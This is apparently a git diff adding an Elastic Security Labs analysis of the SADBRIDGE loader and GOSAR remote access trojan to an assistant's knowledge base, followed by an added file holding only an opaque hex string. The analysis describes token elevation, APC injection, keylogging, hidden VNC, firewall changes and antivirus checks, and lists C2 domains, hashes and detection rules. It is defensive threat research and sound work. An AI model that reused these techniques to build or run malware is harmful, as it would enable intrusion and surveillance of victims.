+![Modifies the netsvc registry key to add DevQueryBrokerServiceSvc](/assets/images/under-the-sadbridge-with-gosar/image19.png) + +SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys `SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService` and `SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService`. + +Finally, it removes the files `DevQueryBroker.exe` and `HealthServiceRuntime.dll` in the `C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker` folder, as the new persistence mechanism is in place. + +## GOSAR Injection + +In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the `WTSEnumerateSessionsA` API. + +If sessions are found, it iterates through each session: + +* For each session, it attempts to retrieve the username (`WTSUserName`) using `WTSQuerySessionInformationA`. If the query fails, it moves to the next session. +* If `WTSUserName` is not empty, the code targets `svchost.exe`, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage. +* If `WTSUserName` is empty but the session's `WinStationName` is `"Services"` (indicating a service session), it targets `dllhost.exe` instead, passing the same parameters to the final stage injection subroutine. + +If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections. + +Logged-in sessions target `svchost.exe`, while service sessions or sessions without a logged-in user target `dllhost.exe`. + +![Enumeration of active sessions](/assets/images/under-the-sadbridge-with-gosar/image6.png) + +If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to `S-1-16-12288` (System integrity). It then uses the elevated token to create a child process (`svchost.exe` or `dllhost.exe`) via `CreateProcessAsUserA`. + +![Duplication of user token and elevating token privileges](/assets/images/under-the-sadbridge-with-gosar/image4.png) + +If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using `CreateProcessA`. + +The encrypted shellcode `C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini` is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt `.log` files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread. + +![APC injection to run GOSAR](/assets/images/under-the-sadbridge-with-gosar/image2.png) + +Finally, the injected shellcode decrypts `DevQueryBrokerCore.log` to GOSAR and runs it in the newly created process’s memory. + +![GOSAR injected into dllhost.exe and svchost.exe](/assets/images/under-the-sadbridge-with-gosar/image33.png) + +## GOSAR Introduction + +GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version. + +By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload. + +![Low detection rate on GOSAR VT upload](/assets/images/under-the-sadbridge-with-gosar/image29.png) + +Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR). + +## GOSAR Code Analysis Overview + +### Code structure of GOSAR + +As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version `0.12.01` + +![GOSAR code structure](/assets/images/under-the-sadbridge-with-gosar/image26.png) + +* **vibrant/config**: Contains the configuration files for the malware. +* **vibrant/proto**: Houses all the Google Protocol Buffers (proto) declarations. +* **vibrant/network**: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener +* **vibrant/msgs/resolvers**: Defines the commands handled by the malware. These commands are assigned to an object within the `vibrant_msgs_init*` functions. +* **vibrant/msgs/services**: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the `vibrant_network._ptr_Connection.Start` function. +* **vibrant/logs**: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES. +* **vibrant/pkg/helpers**: Contains helper functions used across various malware commands and services. +* **vibrant/pkg/screenshot**: Handles the screenshot capture functionality on the infected system. +* **vibrant/pkg/utils**: Includes utility functions, such as generating random values. +* **vibrant/pkg/native**: Provides functions for calling Windows API (WINAPI) functions. + +### New Additions to GOSAR + +#### Communication and information gathering + +This new variant continues to use the same communication method as the original, based on **TCP TLS**. Upon connection, it first sends system information to the C2, with 4 new fields added: + +* IPAddress +* AntiVirus +* ClipboardSettings +* Wallets + +The list of AntiViruses and digital wallets are initialized in the function `vibrant_pkg_helpers_init` and can be found at the bottom of this document. + +#### Services + +The malware handles 3 services that are started during the initial connection of the client to the C2: + +- vibrant\_services\_KeyLogger +- vibrant\_services\_ClipboardLogger +- vibrant\_services\_TickWriteFile + +![GOSAR services](/assets/images/under-the-sadbridge-with-gosar/image22.png) + +##### KeyLogger + +The keylogging functionality in GOSAR is implemented in the `vibrant_services_KeyLogger` function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with [`SetWindowsHookEx`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa) with the parameter `WH_KEYBOARD_LL` to monitor low-level keyboard events. The hook function is named `vibrant_services_KeyLogger_func1`. + +![GOSAR setting the keylogger](/assets/images/under-the-sadbridge-with-gosar/image28.png) + +##### ClipboardLogger + +The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using [`IsClipboardFormatAvailable`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable) then retrieves it using [`GetClipboardData`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata) API. + +![GOSAR clipboard logging](/assets/images/under-the-sadbridge-with-gosar/image34.png) + +##### TickWriteFile + +Both `ClipboardLogger` and `KeyLogger` services collect data that is written by the `TickWriteFile` periodically to directory (`C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics`) under a file of the current date, example `2024-11-27`. +It can be decrypted by first subtracting the value `0x1f` then xoring it with the value `0x18` as shown in the CyberChef recipe. + +![CyberChef recipe used to decrypt keylogger logs](/assets/images/under-the-sadbridge-with-gosar/image24.png) + +#### Networking setup + +After initializing its services, the malware spawns **three threads** dedicated to its networking setup. + +- vibrant\_network\_ConfigFirewallRule +- vibrant\_network\_ConfigHosts +- vibrant\_network\_ConfigAutoListener + +[Threads handling networking setup](/assets/images/under-the-sadbridge-with-gosar/image15.png) + +##### ConfigFirewallRule + +The malware creates an inbound firewall rule for the ports range `51756-51776` under a Chinese name that is translated to `Distributed Transaction Coordinator (LAN)` it allows all programs and IP addresses inbound the description is set to :`Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.` + +![Added firewall rule](/assets/images/under-the-sadbridge-with-gosar/image23.png) + +##### ConfigHosts + +This function adds an entry to `c:\Windows\System32\Drivers\etc\hosts` the following `127.0.0.1 micrornetworks.com`. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage. + +##### ConfigAutoListener + +This functionality of the malware runs an HTTP server listener on the first available port within the range `51756-51776`, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a `GET` request to the URI `/security.js`, responding with the string `callback();`, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later + +![Callback handled by GOSAR](/assets/images/under-the-sadbridge-with-gosar/image5.png) + +#### Logs + +The malware saves its runtime logs in the directory: `%APPDATA%\Roaming\Microsoft\Logs` under the filename formatted as: `windows-update-log-.log`. +Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the `vibrant_config` function, the following is an example: + +![Logs example generated by GOSAR](/assets/images/under-the-sadbridge-with-gosar/image16.png) + +The attacker can remotely retrieve the malware's runtime logs by issuing the command `ResolveGetRunLogs`. + +#### Plugins + +The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: `C:\ProgramData\policy-err.log`. To execute a plugin, the command `ResolveDoExecutePlugin` is called, it first checks if a plugin is available. + +![GOSAR checking for existence of a plugin to execute](/assets/images/under-the-sadbridge-with-gosar/image35.png) + +It then loads a native DLL reflectively that is stored in base64 format in the binary named `plugins.dll` and executes its export function `ExecPlugin`. + +![GOSAR loading plugins.dlll and calling ExecPlugin](/assets/images/under-the-sadbridge-with-gosar/image25.png) + +`ExecPlugin` creates a suspended process of `C:\Windows\System32\msiexec.exe` with the arguments `/package` `/quiet`. It then queues [Asynchronous Procedure Calls](https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls) (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed. + +![GOSAR plugin module injecting a PE in msiexec.exe](/assets/images/under-the-sadbridge-with-gosar/image36.png) + +The shellcode reads the encrypted plugin stored at `C:\ProgramData\policy-err.log`, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it. + +#### HVNC + +The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands + +* ResolveHVNCCommand +* ResolveGetHVNCScreen +* ResolveStopHVNC +* ResolveDoHVNCKeyboardEvent +* ResolveDoHVNCMouseEvent + +The first command that is executed is `ResolveGetHVNCScreen` which will first initialise it and set up a view, it uses an embedded native DLL `HiddenDesktop.dll` in base64 format, the DLL is reflectively loaded into memory and executed. + +The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions: + +* ExcuteCommand +* DoMouseScroll +* DoMouseRightClick +* DoMouseMove +* DoMouseLeftClick +* DoKeyPress +* CaptureScreen + +The first export function called is `Initialise` to initialise a desktop with [`CreateDesktopA`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa) API. This HVNC implementation handles 17 commands in total that can be found in `ExcuteCommand` export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command `ResolveHVNCCommand` that will call `ExcuteCommand`. + +| Command ID | Description | +| :---- | :---- | +| 0x401 | The function first disables taskbar button grouping by setting the `TaskbarGlomLevel` registry key to `2` under `Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced`. Next, it ensures the taskbar is always visible and on top by using `SHAppBarMessage` with the `ABM_SETSTATE` command, setting the state to `ABS_ALWAYSONTOP`. | +| 0x402 | Spawns a RUN dialog box by executing the 61th export function of `shell32.dll`.`C:\Windows\system32\rundll32.exe shell32.dll,#61` | +| 0x403 | Runs an instance of `powershell.exe` | +| 0x404 | Executes a PE file stored in `C:\\ProgramData\\shell.log` | +| 0x405 | Runs an instance of `chrome.exe` | +| 0x406 | Runs an instance of `msedge.exe` | +| 0x407 | Runs an instance of `firefox.exe` | +| 0x408 | Runs an instance of `iexplore.exe` | +| 0x409 | Runs an instance of `360se.exe` | +| 0x40A | Runs an instance of `360ChromeX.exe`. | +| 0x40B | Runs an instance of `SogouExplorer.exe` | +| 0x40C | Close current window | +| 0x40D | Minimizes the specified window | +| 0x40E | Activates the window and displays it as a maximized window | +| 0x40F | Kills the process of a window | +| 0x410 | Sets the clipboard | +| 0x411 | Clears the Clipboard | + +#### Screenshot + +The malware loads reflectively the third and last PE DLL embedded in base64 format named `Capture.dll`, it has 5 export functions: + +- CaptureFirstScreen +- CaptureNextScreen +- GetBitmapInfo +- GetBitmapInfoSize +- SetQuality + +The library is first initialized by calling `resolvers_ResolveGetBitmapInfo` that reflectively loads and executes its `DllEntryPoint` which will setup the screen capture structures using common Windows APIs like [`CreateCompatibleDC`](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc), [`CreateCompatibleBitmap`](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap) and [`CreateDIBSection`](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection). The 2 export functions `CaptureFirstScreen` and `CaptureNextScreen` are used to capture a screenshot of the victim's desktop as a JPEG image. + +### Observation + +Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities. + +It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation. + +### New functionality + +The following table provides a description of all the newly added commands: + +| New commands | | +| :---- | :---- | +| ResolveDoRoboCopy | Executes [`RoboCopy`](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy) command to copy files | +| ResolveDoCompressFiles | Compress files in a zip format | +| ResolveDoExtractFile | Extract a zip file | +| ResolveDoCopyFiles | Copies a directory or file in the infected machine | +| ResolveGetRunLogs | Get available logs | +| ResolveHVNCCommand | Execute a HVNC command | +| ResolveGetHVNCScreen | Initiate HVNC | +| ResolveStopHVNC | Stop the HVNC session | +| ResolveDoHVNCKeyboardEvent | Send keyboard event to the HVNC | +| ResolveDoHVNCMouseEvent | Send mouse event to the HVNC | +| ResolveDoExecutePlugin | Execute a plugin | +| ResolveGetProcesses | Get a list of running processes | +| ResolveDoProcessStart | Start a process | +| ResolveDoProcessEnd | Kill a process | +| ResolveGetBitmapInfo | Retrieve the [**BITMAPINFO**](https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo) structure for the current screen's display settings | +| ResolveGetMonitors | Enumerate victim’s display monitors with [`EnumDisplayMonitors`](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors) API | +| ResolveGetDesktop | Start screen capture functionality | +| ResolveStopGetDesktop | Stop the screen capture functionality | +| ResolveNewShellExecute | Opens pipes to a spawned cmd.exe process and send commands to it | +| ResolveGetSchTasks | Get scheduled tasks by running the command `schtasks /query /fo list /v` | +| ResolveGetScreenshot | Capture a screenshot of the victim’s desktop | +| ResolveGetServices | Get the list of services with a **WMI** query: `select * from Win32_Service` | +| ResolveDoServiceOperation | Start or stop a service | +| ResolveDoDisableMultiLogon | Disable multiple session by user by setting the value `fSingleSessionPerUser` to 1 under the key `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer` | +| ResolveDoRestoreNLA | Restores the security settings for Remote Desktop Protocol (RDP), enabling **Network Level Authentication** (NLA) and enforcing **SSL/TLS** encryption for secure communication. | +| ResolveGetRemoteClientInformation | Get a list of all local users that are enabled, the **RDP por**t and **LAN IP** and **OS specific information**: **DisplayVersion**, **SystemRoot** and **CurrentBuildNumber** extracted from the registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion` | +| ResolveDoInstallWrapper | Setup a Hidden Remote Desktop Protocol (**HRDP**) | +| ResolveDoUninstallWrapper | Uninstall **HRDP** | +| ResolveDoRecoverPrivileges | Restores the original **`HKEY_LOCAL_MACHINE\\SAM\\SAM`** registry before changes were made during the installation of the **HRDP** | +| ResolveGetRemoteSessions | Retrieve information about the RDP sessions on the machine. | +| ResolveDoLogoffSession | Logoff RDP session with [**`WTSLogoffSession`](https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession)** API | +| ResolveGetSystemInfo | Get system information | +| ResolveGetConnections | Get all the connections in the machine | +| ResolveDoCloseConnection | Not implemented | + +## Malware and MITRE ATT\&CK + +Elastic uses the [MITRE ATT\&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks. + +### Tactics + +Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. + +* [Collection](https://attack.mitre.org/tactics/TA0009/) +* [Command and Control](https://attack.mitre.org/tactics/TA0011/) +* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) +* [Discovery](https://attack.mitre.org/tactics/TA0007/) +* [Execution](https://attack.mitre.org/tactics/TA0002/) +* [Exfiltration](https://attack.mitre.org/tactics/TA0010/) +* [Persistence](https://attack.mitre.org/tactics/TA0003/) +* [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/) + +### Techniques + +Techniques represent how an adversary achieves a tactical goal by performing an action. + +* [Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/) +* [Input Capture: Keylogging](https://attack.mitre.org/techniques/T1056/001/) +* [Process Injection: Asynchronous Procedure Call](https://attack.mitre.org/techniques/T1055/004/) +* [Process Discovery](https://attack.mitre.org/techniques/T1057/) +* [Hide Artifacts: Hidden Window](https://attack.mitre.org/techniques/T1564/003/) +* [Create or Modify System Process: Windows Service](https://attack.mitre.org/techniques/T1543/003/) +* [Non-Standard Port](https://attack.mitre.org/techniques/T1571/) +* [Abuse Elevation Control Mechanism: Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002/) +* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) +* [Impair Defenses: Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001/) +* [Virtualization/Sandbox Evasion: Time Based Evasion](https://attack.mitre.org/techniques/T1497/003/) + +## Mitigating REF3864 + +### Detection + +- [Potential Antimalware Scan Interface Bypass via PowerShell](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml) +- [Unusual Print Spooler Child Process](https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml) +- [Execution from Unusual Directory - Command Line](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml) +- [External IP Lookup from Non-Browser Process](https://www.elastic.co/guide/en/security/current/external-ip-lookup-from-non-browser-process.html) +- [Unusual Parent-Child Relationship](https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml) +- [Unusual Network Connection via DllHost](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml) +- [Unusual Persistence via Services Registry](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml) +- [Parent Process PID Spoofing](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml) + +### Prevention + +- [Network Connection via Process with Unusual Arguments](https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml) +- [Potential Masquerading as SVCHOST](https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml) +- [Network Module Loaded from Suspicious Unbacked Memory](https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml) +- [UAC Bypass via ICMLuaUtil Elevated COM Interface](https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml) +- [Potential Image Load with a Spoofed Creation Time](https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml) + +#### YARA + +Elastic Security has created YARA rules to identify this activity. + +- [Multi.Trojan.Gosar](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar) +- [Windows.Trojan.SadBridge](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar) + +## Observations + +The following observables were discussed in this research: + +| Observable | Type | Name | Reference | +| :---- | :---- | :---- | :---- | +| opera-x[.]net | domain-name | | Landing page | +| teledown-cn[.]com | domain-name | | Landing page | +| 15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39 | SHA-256 | `NetFxRepairTools.msi` | MSI | +| accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7 | SHA-256 | `x64bridge.dll` | SADBRIDGE | +| 7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210 | SHA-256 | | GOSAR | +| ferp.googledns[.]io | domain-name | | GOSAR C2 Server | +| hk-dns.secssl[.]com | domain-name | | GOSAR C2 Server | +| hk-dns.winsiked[.]com | domain-name | | GOSAR C2 Server | +| hk-dns.wkossclsaleklddeff[.]is | domain-name | | GOSAR C2 Server | +| hk-dns.wkossclsaleklddeff[.]io | domain-name | | GOSAR C2 Server | + +## References + +The following were referenced throughout the above research: + +* [https://zcgonvh.com/post/Advanced\_Windows\_Task\_Scheduler\_Playbook-Part.2\_from\_COM\_to\_UAC\_bypass\_and\_get\_SYSTEM\_dirtectly.html](https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html) +* [https://www.sonicwall.com/blog/project-androm-backdoor-trojan](https://www.sonicwall.com/blog/project-androm-backdoor-trojan) +* [https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/](https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/) +* [https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512](https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512) + +## Appendix + +Hashing algorithm (SADBRIDGE) + +```py +def ror(x, n, max_bits=32) -> int: + """Rotate right within a max bit limit, default 32-bit.""" + n %= max_bits + return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1) + +def ror_13(data) -> int: + data = data.encode('ascii') + hash_value = 0 + + for byte in data: + hash_value = ror(hash_value, 13) + + if byte >= 0x61: + byte -= 32 # Convert to uppercase + hash_value = (hash_value + byte) & 0xFFFFFFFF + + return hash_value + + +def generate_hash(data, dll) -> int: + dll_hash = ror_13(dll) + result = (dll_hash + ror_13(data)) & 0xFFFFFFFF + + return hex(result) +``` + +### AV products checked in GOSAR + +| 360sd.exe | kswebshield.exe | +| :---: | :---: | +| 360tray.exe | kvmonxp.exe | +| a2guard.exe | kxetray.exe | +| ad-watch.exe | mcshield.exe | +| arcatasksservice.exe | mcshield.exe | +| ashdisp.exe | miner.exe | +| avcenter.exe | mongoosagui.exe | +| avg.exe | mpmon.exe | +| avgaurd.exe | msmpeng.exe | +| avgwdsvc.exe | mssecess.exe | +| avk.exe | nspupsvc.exe | +| avp.exe | ntrtscan.exe | +| avp.exe | patray.exe | +| avwatchservice.exe | pccntmon.exe | +| ayagent.aye | psafesystray.exe | +| baidusdsvc.exe | qqpcrtp.exe | +| bkavservice.exe | quhlpsvc.EXE | +| ccapp.exe | ravmond.exe | +| ccSetMgr.exe | remupd.exe | +| ccsvchst.exe | rfwmain.exe | +| cksoftshiedantivirus4.exe | rtvscan.exe | +| cleaner8.exe | safedog.exe | +| cmctrayicon.exe | savprogress.exe | +| coranticontrolcenter32.exe | sbamsvc.exe | +| cpf.exe | spidernt.exe | +| egui.exe | spywareterminatorshield.exe | +| f-prot.EXE | tmbmsrv.exe | +| f-prot.exe | unthreat.exe | +| f-secure.exe | usysdiag.exe | +| fortitray.exe | v3svc.exe | +| hipstray.exe | vba32lder.exe | +| iptray.exe | vsmon.exe | +| k7tsecurity.exe | vsserv.exe | +| knsdtray.exe | wsctrl.exe | +| kpfwtray.exe | yunsuo\_agent\_daemon.exe | +| ksafe.exe | yunsuo\_agent\_service.exe | diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/winvisor_hypervisor_based_emulator.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/winvisor_hypervisor_based_emulator.encoded.md new file mode 100644 index 0000000000000..793846e0e0f84 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/winvisor_hypervisor_based_emulator.encoded.md @@ -0,0 +1 @@ +98266f16a7117e48d3b2d9cee6458c87799dd3e81f6bdad917dacbe38504da3b65b94585d770d5171982e018e797a38e647b7375f1d3fa8a3ec11e66b1aeb8ddb44a4a2f498742917c984dc5c827f87dcb55d067297589982c62a16af772a8e51858c92cee08c9896fd132dc62d0c10e4f6ba8b060fedb106169c47f3af3ae76680c5f608ee59439a8f370edade53b7c63bbdc0885a98faa1875cddb29119080e042acb612e4460b7999667282093e970c7dd01aa1451a83a705525c96bfaa1a8d558a49418b6453bd66a548bb22e4ef62de2bb9604edb806a8ed0f2282d189b786f702a7ffdc9a3ead36201ab0203fc4d601795df6c580ed720187e960242432dd5477a4545a6a3f84f15b9990e65038d558a49418b6453bd66a548bb22e4ef62de2bb9604edb806a8ed0f2282d189b17a6bbcf59ae4f6d57f64d9c58ce56a218e5beed59cf5942d91b42fd804f235bafe1302b1919d79442bec103abd74ff6201164ef82654dcce379dd0d7cbd1f36aeab6475645556ebc9b84cd30a55c81e2a16f5a608bd83b6e1726a3f33392ba816b4f3d6dfed8e2c36143abcca7cf5def91239964b6f4f9e3c8ae2a40efabd4e5016fc2597512ac77efbc688532ae4c332936e55068668a12dffab59a2da3199eb4c7c0775e907eb6c733a852a7618f397fdd393fdd1da613c0658b61c0fdc50f1444a4fe44fbf62968e58662f3f367a1bf444609314052366088ba511ee128e19c86a1ec048f5b7b8dbf5bce4930753d4b60d8bee33a50e08289414ac337eb25442c517e99657bf6de978f57287bc7bec5f6c86f68a8a3b1f3946f05f86a59984f1056dce7a9a8445f99c7b894500f9c2b8e5496d3262c98484940b2d4ec150232fbd9642e4bb9d264394000ad068ec97b62231b0ad08207c7887b1205e05c420a28f4d503927f6a19e3d19badec6b51ca593fb62744ec0397562dede267d491d93f707a590d835aa9c1add4920e85a2c8343c55d9058811c9bc8a9c9078ab5324d5b4f1eafb9ef3559f77f6dac0b91be8dd15c78816cbe6d5635b33fed630f7c539e898a18f28cfff10457879df1cc0a6b5e380236ebf04c39c8aa0d8038e353ad7902640271ee83e755187702b9d2842251a16b769df2ec9c0719e5bc5360ea9de30346a6e234714281b34181775a0da5eb0e6842085e9d58aa283c0856511d38bee5e4835a748b6cfe10f506ceb79d8a00d5a0c6a5c70cf191fae09317f023d4d2471457ef86102b1733797b55a2285e8ac3998f19c7847a56696c474fcb4f60e5a780230b126c3883143891a61249246e3f3535269b9ddbe67bd49ebf2cbf3a203dce2601bffe9144feb2322bd75d215955e7f52133cf4075db0b86d3818bbf26735acfdcb64a05962fbe3d3f86512351a1ec971399a8818c43282710c1e8e0ed748c6605d30694d57021cb990030d121803eac08667c14eb8eda61e541befd5041e5f7eaf768a6ec08f3d1cc1c3ce592a5c6592fa83b9d85c2e7236287af692bb383ce9cad45b4d0ff095401a7e68f9f79cb8702e366be9400b55439098a190f3fe669b24b272e2503e43d5c279144243b5fa43248c2c44b9debd6d11c6da4d81039e2b58a781c19c1ab473e942b5e912eeccc1cf7a7088b6d0acf219d93c0f5b982b32cb910b91d2b57e6f8317f004100577bf688d47201b52cc63da21df5b1272e886b52a0872f7a92f1f84f4c0f049346a80351ee58e83752c63d38f2ec7029a436abf6a0a5861409db6025b8dd132f4bcf6a44f0622e9bbfddaebf3ea8dc1e45edae195be7f4d46487f22e0ec691e60ec47bfd12bdbba6d95b4bf752373f51bb738bfacf3e16efe04547db5388e528b49ee6a4c90d269a8cd05a169cfd6827456ec25f44eebe12166174025f22aa6fd681c571ec9fc603af4e4a62f49dfb3805122e3c6bdeb7444a6ac799da19ac3fb4aac237b7a3df7f0944fdd17b0ac0945c1c46f357b41696701de7bf6ae6ce423822fea6eed1ceafd9b17b640f28953784c6b98541cc85482ff1182349733625e7a24937ee01d6fcf64a6c7f0d3b19db9e5c69e128af1a9eadd61d3c9bbac339b4d3c9090714dfdd0ba42d7da724ce96056df973fe9307ed38120d34f360bc3b190085f99ae53fe90ab709f11d969b0bc76772e297b9cb2c0bbc81091553e49d208f694a942c68ab8aeefcc854191e5af47a3399a0eae0e8f961cdb52adaf18eaa3ca87b345782d84041aebfba50fa7575a89b3b5cc536ec7673a2122e1dbdc044656258ce9fb613b588817a54a62f2351fa567ce0658090d356eedcf7a53e66e23114354fcd03f7c111442118511642fa8a71a3f1ff78c67f58a44351866d0e928063876e8b42b65f631cd732fbed5df69099672fe7e20afd8e0d20ab2efedd370c5b5a73318d19a120f94feaa1cc95418a0b6de6dde83384a5c9d51d682ff6be7bf015984950a5131780bcff90cd77167c644dfe810fa26a14eeb1a1a1f25630d7cac5eaf2a5b1bfcb8f473c7e98482347325dab9353e34a6e14a9b84eda455a768fa574cedd453277990722d6f56273c767d2177b055825216c9502eb229ddae87b8ff58210ca9ecce08919779e6435a742e0c41d818f21fff60fbe8ecd00ef0719722f25a44a435fe87ea05bb35ac9da8b18fa587d3439abb6e03992c01a0837955760b80398e8c8377b964094958d8b681efe16995ed3879b2cf9cbaee0feb47efdd817cbff49bb98895a759f9a10f8444d4bee382eb9c0f607b52bb68bf14f1b9e712cdbc1d68edf37b2d4f30652e37d23ed21dde3015e69fdaeece7dfd0dc8cd3138ed2ec6dda55b9b5680ec47ca39dafd9b26f63c08c3adf2c426287f034a94fa7d08cceb05a3c3001bb7e57dbc250c2716c55804683ccdb6f2d8fd66fe60512db8a5c54a8e6ae878037d8f9bbcbe42d45dad8c0f7ca2fe30df6287247accc5533131f0a08b6ec3459cd55faecd2c88ad050855544a9052bdb9e0bf2a26021a97240f8250802b464b04782c3650d52c36773eea7b2e5e0c3d49fd9acd0060e73b1ad085ab7aa2a1cd718f7825c50d28d188f6774e35960aa033850d8a9ce6669c2cdb9e5db0c1b4f0b39f67e92510f83ad94685f3eabae9fc1e62e1a2903d10e682489264f2871adfa24541f86f0b24e5d2b19feb8be4a3e5d31413874ba52a0bafa50a72aac005e6bf4fa847d6063bced8cc90af90d0f9c17f5cb363865f440b388ba3036d9a6c23f3ab477d27b39ef2cc9a246a0d6aa3723c0c9faf2d8509d2100c7a5ab83394d6759a6c423d4975821c68145853b87b41a3bc35fb7926b82c834d25e07a77c9115f0d38ce7d96202dbe18642764695a26e07a3e355a9199e00b86ed7450d29eb2421f69b720bfe5f361236eecb2549cb6e5544